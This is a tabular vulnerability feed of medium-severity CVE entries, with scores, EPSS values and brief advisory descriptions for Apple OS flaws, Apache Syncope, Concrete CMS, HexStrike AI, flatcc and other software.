CVE-2026-55832	New	6.1	MEDI		0.002		Tract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loa...
CVE-2026-55847	New	6.1	MEDI		0.002		Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the ansi.js helper at allure-generator/src/main/javascript/helpers/ansi.js passes attacker-influenced statusMessage and statusTrace values through AnsiToHtml without HTML escaping and wraps the result in Handlebars SafeString, disabling template auto-escaping in allure...
CVE-2026-73191	New	6.1	MEDI		0.003		URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Syncope. When the Syncope SRA is configured for CAS authentication, the target Apereo CAS instance's URL is calculated by unconditionally looking at client-supplied forwarded HTTP headers. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M...
CVE-2026-78318	New	6.1	MEDI		0.002		Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Apache Syncope. The notification message, as optionally shown by Console's and Enduser's login pages can be instructed to display HTML tags with unsafe JS inline, via malicious HTTP link generation. This issue affects Apache Syncope: from 4.0.4 through 4.0.7, from 4.1....

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81900	New	6.1	MEDI		0.003	concretecms:concrete_cms	Concrete CMS before 9.5.3 applied only trim() to the YouTube block's stored width and height values and printed them into iframe HTML attributes without escaping or integer casting, resulting in stored cross-site scripting. A user with edit_block permission could inject an event handler that executed script for visitors rendering the page, acting with administrative privileg...
CVE-2026-84560	New	6.1	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may gain unauthorized access to Bluetooth.
CVE-2026-84619	New	6.1	MEDI		0.001		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or write kernel memory.
CVE-2026-91146	New	6.1	MEDI		0.002		Takahe through 0.11.0 fails to restrict URL schemes in link hrefs within federated post content and profile summaries, allowing remote actors to inject javascript: links. Attackers can deliver federated content with malicious javascript: hrefs that execute in the instance origin when clicked, enabling session hijacking or impersonation of viewers.
CVE-2026-18069	New	6.0	MEDI		0.001		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local attacker to obtain ownership of arbitrary file system objects due to a time-of-check to time-of-use (TOCTOU) race condition.
CVE-2026-7208	New	6.0	MEDI		0.002		Yealink SIP-T33G firmware versions 124.86.x.x prior to 124.87.0.0 contain a race condition vulnerability that allows authenticated attackers to interrupt active diagnostic processes by concurrently deleting output files written to predictable paths under the diagnostic directory. Attackers can trigger a diagnostic operation such as traceroute or ping and simultaneously invok...
CVE-2023-46035	New	5.9	MEDI		0.004		The svg_optimizer gem before 0.3.0 for Ruby performs entity expansion on untrusted documents.
CVE-2026-15924	New	5.9	MEDI		0.003		Zephyr's TLS socket layer in subsys/net/lib/sockets/sockets_tls.c keeps a single process-global array, client_cache, of cached client sessions that is shared by every TLS socket context. The functions that mutate and read it — tls_session_save(), tls_session_get(), tls_session_cache_reset(), and the settings restore handler — allocate, free, and dereference each entry's heap...
CVE-2026-16435	New	5.9	MEDI		0.003		IBM WebSphere Application Server 9.0, and 8.5 is affected by an authentication bypass vulnerability when using XD or Intelligent-Management features.
CVE-2026-55235	New	5.9	MEDI		0.002		langgraph-api implements the LangGraph API for rapid development and testing. Prior to 0.10.0, langgraph-api permits a run or cron to specify a relative webhook target that is delivered through an in-process loopback transport, and the authentication middleware treats that transport as internal without applying the authentication context used for external requests. In deploy...
CVE-2026-55236	New	5.9	MEDI		0.002		langgraph-api implements the LangGraph API for rapid development and testing. Prior to 0.10.0, the langgraph-api run-creation path authorizes the assistant attached to a run by dispatching assistants.search with an incomplete value instead of the assistants.read event used by direct reads and cron creation. In deployments with custom resource handlers that register only assi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73449	New	5.9	MEDI		0.001		On affected platforms running Arista EOS with both 802.1X port authentication and the RADIUS proxy feature configured with dynamic authorization, a low-privileged attacker on an adjacent network segment who induces a RADIUS packet through a configured RADIUS proxy client can prevent RADIUS dynamic authorization messages, including Change-of-Authorization (CoA) and Disconnect...
CVE-2026-84522	New	5.9	MEDI		0.001	apple:macos	A race condition was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.
CVE-2026-84554	New	5.9	MEDI		0.004	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to cause a denial-of-service.
CVE-2026-55102	New	5.8	MEDI		0.001		hashi-vault-js is a Node.js module for interacting with the HashiCorp Vault API. Prior to 0.5.2, every API method in src/Vault.js passes failed requests through parseAxiosError(), which rethrows the raw AxiosError while retaining AxiosError.config and the equivalent response configuration. These objects can contain the X-Vault-Token request header and err.config.data request...
CVE-2026-91081	New	5.8	MEDI		0.002		Docs through 5.6.1 contains a server-side request forgery vulnerability in the cors-proxy endpoint that allows anonymous attackers to make outbound requests by providing a public document UUID. Attackers can exploit DNS time-of-check-time-of-use race conditions and shared address space bypasses to access internal network resources and exfiltrate image content.
CVE-2024-53922	New	5.7	MEDI		0.002		An issue was discovered in the buffer queue driver in Samsung Automotive Processor Exynos Auto 8890, V7, V9, and V920. Lack of a length check leads to a Denial of Service in the kernel.
CVE-2026-54246	New	5.7	MEDI		0.003		Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.27.13, the routesrv component serves cluster-wide control-plane data without application-layer authentication through /routes, /routes/{zone}, /swarm/redis/shards, and /swarm/valkey/shards. The handlers registered in routesrv/routesrv.go, eskipBytes.ServeHTTP in routesrv/eskipbytes.go, RedisHandl...
CVE-2026-19542	New	5.6	MEDI		0.003		Calling tdelete on a sufficiently deep tree in the GNU C Library version 2.1 to 2.44 may write one pointer past the end of an alloca-allocated array on the stack, which may crash the application. The tdelete implementation keeps an explicit stack of parent nodes for rebalancing, which is grown as needed while descending the tree. Two rebalancing branches push an additional...
CVE-2026-75944	New	5.6	MEDI		0.001		A race condition during supplicant re-authentication may leave a stale ACL entry that persists in the system. If the AclAgent subsequently restarts, this stale entry may be applied to new supplicants, resulting in incorrect access control enforcement. User interaction (an AclAgent restart by an administrator) is required for the unintended behavior to take effect.
CVE-2026-28899	New	5.5	MEDI		0.002		A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7. An app may bypass Gatekeeper checks.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-28933	New	5.5	MEDI		0.001	apple:macos	A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. An app may be able to cause unexpected system termination.
CVE-2026-28937	New	5.5	MEDI		0.001		This issue was addressed through improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.
CVE-2026-43664	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:watchos	This issue was addressed with improved data protection. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-43737	New	5.5	MEDI		0.001		An authorization issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, watchOS 27. An app may be able to access motion data from headphones without user consent.
CVE-2026-43741	New	5.5	MEDI		0.001	apple:macos	A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access protected user data.
CVE-2026-43762	New	5.5	MEDI		0.002		The issue was addressed with improved checks. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, visionOS 26.6. An app may be able to access user-sensitive data.
CVE-2026-43808	New	5.5	MEDI		0.001		A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, tvOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination.
CVE-2026-64714	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	A memory corruption issue was addressed with improved bounds checking. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. Processing a maliciously crafted image may lead to a denial-of-service.
CVE-2026-64756	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos	A path handling issue was addressed with improved validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.
CVE-2026-65345	New	5.5	MEDI		0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.
CVE-2026-65348	New	5.5	MEDI		0.002		A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to modify protected parts of the file system.
CVE-2026-65353	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos	An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6. An app may be able to access sensitive user data.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65369	New	5.5	MEDI		0.002		A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious application may bypass Gatekeeper checks.
CVE-2026-65377	New	5.5	MEDI		0.002		A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-65380	New	5.5	MEDI		0.002	apple:macos	An issue existed in the handling of snapshots. The issue was resolved with improved permissions logic. This issue is fixed in macOS Golden Gate 27. An app may be able to access protected user data.
CVE-2026-65382	New	5.5	MEDI		0.002	apple:macos	A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-65393	New	5.5	MEDI		0.001	apple:macos, apple:xcode	A permissions issue was addressed with improved validation. This issue is fixed in Xcode 27, macOS Golden Gate 27. An app may be able to access user-sensitive data.
CVE-2026-65401	New	5.5	MEDI		0.001	apple:macos	A race condition was addressed with improved state handling. This issue is fixed in macOS Golden Gate 27, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-65402	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-65404	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos	An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. A malicious application may be able to bypass Privacy preferences.
CVE-2026-65405	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to determine kernel memory layout.
CVE-2026-65406	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos	A logic issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. An app may be able to access sensitive user data.
CVE-2026-65407	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.6 and iPadOS 26.6, iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7, tvOS 26.6, tvOS 27, visionOS 26.6, visionOS 27, watchOS 26.6, watchOS 27. An app may be able to cause unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65409	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause a denial of service.
CVE-2026-65411	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:visionos	A path handling issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to modify protected parts of the file system.
CVE-2026-65413	New	5.5	MEDI		0.002	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause a denial of service.
CVE-2026-76081	New	5.5	MEDI		0.002	go:github.com/zitadel/zitadel	ZITADEL is an open source identity management platform. Prior to version 4.16.0, a bug in how ZITADEL updates permissions when multiple project roles are deleted at the same time can cause some user permissions to be missed. This issue specifically affects User Grants on Granted Projects (projects shared between different organizations), potentially allowing users to keep ac...
CVE-2026-82920	New	5.5	MEDI		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7 fail to enforce authorization boundaries on the access control policy update endpoint which allows a channel or team administrator to detach a system-assigned ABAC parent policy via a crafted PUT /api/v4/access_control_policies request with an empty imports list.. Mattermost Advisory ID: MMSA-2026-00724
CVE-2026-84489	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos	A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. An app may be able to cause a denial of service.
CVE-2026-84491	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.
CVE-2026-84517	New	5.5	MEDI		0.002	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84521	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An app may be able to cause unexpected system termination.
CVE-2026-84523	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or write kernel memory.
CVE-2026-84534	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	A path handling issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. Extracting a maliciously crafted archive may allow an attacker to write arbitrary files.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84540	New	5.5	MEDI		0.002	apple:macos	An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84541	New	5.5	MEDI		0.002	apple:macos	An input validation issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files.
CVE-2026-84552	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos	The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84555	New	5.5	MEDI		0.001	apple:macos	An authorization issue was addressed with improved access control. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8. An app may be able to access sensitive user data.
CVE-2026-84556	New	5.5	MEDI		0.002	apple:macos	An authorization issue was addressed with improved access control. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84558	New	5.5	MEDI		0.001	apple:macos	A double free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27. An app may be able to cause unexpected system termination.
CVE-2026-84569	New	5.5	MEDI		0.002	apple:macos	An access issue was addressed with additional sandbox restrictions on the system pasteboards. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.
CVE-2026-84576	New	5.5	MEDI		0.001	apple:macos	This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-84583	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.
CVE-2026-84585	New	5.5	MEDI		0.001	apple:macos	A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access local network devices without user consent.
CVE-2026-84586	New	5.5	MEDI		0.001		An information disclosure issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, watchOS 27. A malicious application may be able to leak sensitive user information.
CVE-2026-84589	New	5.5	MEDI		0.002	apple:macos	A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27. An app may be able to modify Privacy preferences.
CVE-2026-84593	New	5.5	MEDI		0.001		A use after free issue was addressed with improved memory management. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to cause unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84601	New	5.5	MEDI		0.002	apple:macos	A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Apple Intelligence security prompts.
CVE-2026-84612	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An authorization issue was addressed with improved access control. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to read persistent device identifiers.
CVE-2026-84617	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos	An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27. An app may be able to access sensitive user data.
CVE-2026-84624	New	5.5	MEDI		0.002		A permissions issue was addressed with improved path validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. A sandboxed app may be able to access restricted files.
CVE-2026-84628	New	5.5	MEDI		0.002		An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A sandboxed app may be able to access the System Keychain.
CVE-2026-86878	New	5.5	MEDI		0.002	apple:ipados, apple:iphone_os	A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to access sensitive user data.
CVE-2026-86883	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:visionos	A privacy issue was addressed with improved handling of files. This issue is fixed in iOS 27 and iPadOS 27, visionOS 27. An app may be able to access sensitive user data.
CVE-2026-86897	New	5.5	MEDI		0.002		This issue was addressed with additional entitlement checks. This issue is fixed in Safari 27, iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to access sensitive user data.
CVE-2026-86903	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to disclose kernel memory.
CVE-2026-86905	New	5.5	MEDI		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	This issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to delete credentials stored in Keychain.
CVE-2026-86910	New	5.5	MEDI		0.002		A permissions issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files.
CVE-2026-86911	New	5.5	MEDI		0.002		This issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. A malicious app may be able to bypass clickjacking protections for secure prompts.
CVE-2026-86924	New	5.5	MEDI		0.002		A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7. Connecting a malicious accessory may cause unexpected system termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90617	New	5.5	MEDI		0.016		A vulnerability was detected in GH05TCREW PentestAgent up to cf882dabea3ed91cef016cdd115e5426315665a2. This vulnerability affects the function run_task of the file interface/main.py of the component MCP HTTP Server. Performing a manipulation results in os command injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This pro...
CVE-2026-90618	New	5.5	MEDI		0.016		A flaw has been found in GH05TCREW PentestAgent up to cf882dabea3ed91cef016cdd115e5426315665a2. This issue affects the function LocalRuntime.execute_command of the file runtime/runtime.py of the component LocalRuntime. Executing a manipulation can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used. The pull r...
CVE-2026-90619	New	5.5	MEDI		0.014		A vulnerability has been found in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. Impacted is an unknown function of the file hexstrike_server.py of the component Execute Endpoint. The manipulation of the argument code/script leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may ...
CVE-2026-90620	New	5.5	MEDI		0.004		A vulnerability was determined in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The impacted element is an unknown function of the file hexstrike_server.py of the component API Command Endpoint. This manipulation causes missing authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious de...
CVE-2026-90686	New	5.5	MEDI		0.005		A vulnerability was found in GPAC up to f1219cde. This affects the function gf_bt_report of the file scene_manager/loader_bt.c of the component MP4Box. The manipulation results in memory corruption. The attack may be performed from remote. The exploit has been made public and could be used. Upgrading to version abi-16.23 is able to mitigate this issue. The patch is identifie...
CVE-2026-90690	New	5.5	MEDI		0.013		A weakness has been identified in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The affected element is the function subprocess.Popen of the file hexstrike_server.py of the component API Tools Endpoint. Executing a manipulation of the argument additional_args/target/username/password/scan_type/payload can lead to os command injection. The attack can be l...
CVE-2026-90691	New	5.5	MEDI		0.004		A security vulnerability has been detected in 0x4m4 HexStrike AI up to d689933ff579d839c676c82b231f8e98326c5f04. The impacted element is the function FileOperationsManager of the file hexstrike_server.py of the component API Files Endpoint. The manipulation of the argument filename leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed ...
CVE-2026-90698	New	5.5	MEDI		0.005		A security flaw has been discovered in memcached 1.6.41/1.6.42/1.6.43. This vulnerability affects the function try_read_command_asciiauth of the file proto_text.c of the component mcmc Tokenizer. The manipulation results in out-of-bounds read. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to v...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90701	New	5.5	MEDI		0.004		A vulnerability was detected in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. The affected element is an unknown function of the file listdoctor.php. Performing a manipulation of the argument searchtext results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a ...
CVE-2026-90708	New	5.5	MEDI		0.003		A weakness has been identified in Yot CMS up to 3.3.1. Affected by this vulnerability is the function Login of the file global.php of the component Cookie Handler. This manipulation of the argument yot3_user/yot3_pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-90710	New	5.5	MEDI		0.005		A vulnerability was determined in taisan tarzan-cms 1.0.0. This issue affects the function openConnection of the file com/tarzan/cms/modules/admin/service/biz/ThemeService.java of the component Theme Download Function. Executing a manipulation of the argument httpUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly d...
CVE-2026-90715	New	5.5	MEDI		0.004		A security vulnerability has been detected in marcobambini Gravity up to 0.9.7. This affects an unknown function of the file src/utlis/gravity_json.c of the component udp json-parser. Such manipulation leads to integer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Upgrading to version 0.9.8 mitigates this issue. T...
CVE-2026-90784	New	5.5	MEDI		0.004		A vulnerability has been found in Dvidelabs flatcc up to 0.6.3. The impacted element is the function fb_clear_parser of the file src/Compiler/semantics.c. The manipulation leads to memory leak. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 8dbc3419738da066151991fd2bf1d0c85591dea2. ...
CVE-2026-90785	New	5.5	MEDI		0.004		A vulnerability was found in Dvidelabs flatcc up to 0.6.3. This affects the function analyze_struct of the file src/compiler/semantics.c of the component Struct Analysis. The manipulation results in reachable assertion. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f705032346ee39efd7d3848c50b73d45...
CVE-2026-90786	New	5.5	MEDI		0.004		A vulnerability was determined in Dvidelabs flatcc up to 0.6.3. This impacts the function align_order_members of the file src/compiler/semantics.c of the component Duplicate Symbol Handler. This manipulation causes reachable assertion. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 8b19ba4e992ebcad7f5970704d1afc...
CVE-2026-90787	New	5.5	MEDI		0.004		A vulnerability was identified in Soarkey StudentManagement up to e08f7f1d5015af407aa4cca0ada3dea189b4937e. Affected is the function RegisterServlet.doPost of the file code/WebContent/register.html of the component Registration Workflow. Such manipulation of the argument level leads to improper privilege management. The attack can be launched remotely. The exploit is publicl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90805	New	5.5	MEDI		0.003		A flaw has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown part of the file doctorlogin.php. Executing a manipulation of the argument doc_mail/doc_pswd can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used. This product implements a roll...
CVE-2026-90995	New	5.5	MEDI		0.001		A flaw was found in SSSD (System Security Services Daemon). A local attacker with privileges to connect to the PAM (Pluggable Authentication Modules) responder socket can send a specially crafted protocol request. If the `pam_app_services` configuration is enabled and the service item is omitted from the request, a NULL pointer dereference can occur. This vulnerability leads...
CVE-2023-50459	New	5.4	MEDI		0.002		An issue was discovered in the femanager extension 7.x before 7.2.3 for TYPO3. It fails to check access permissions for the edit user component. An authenticated frontend user can exploit this to either edit data of various frontend users or delete various frontend user accounts.
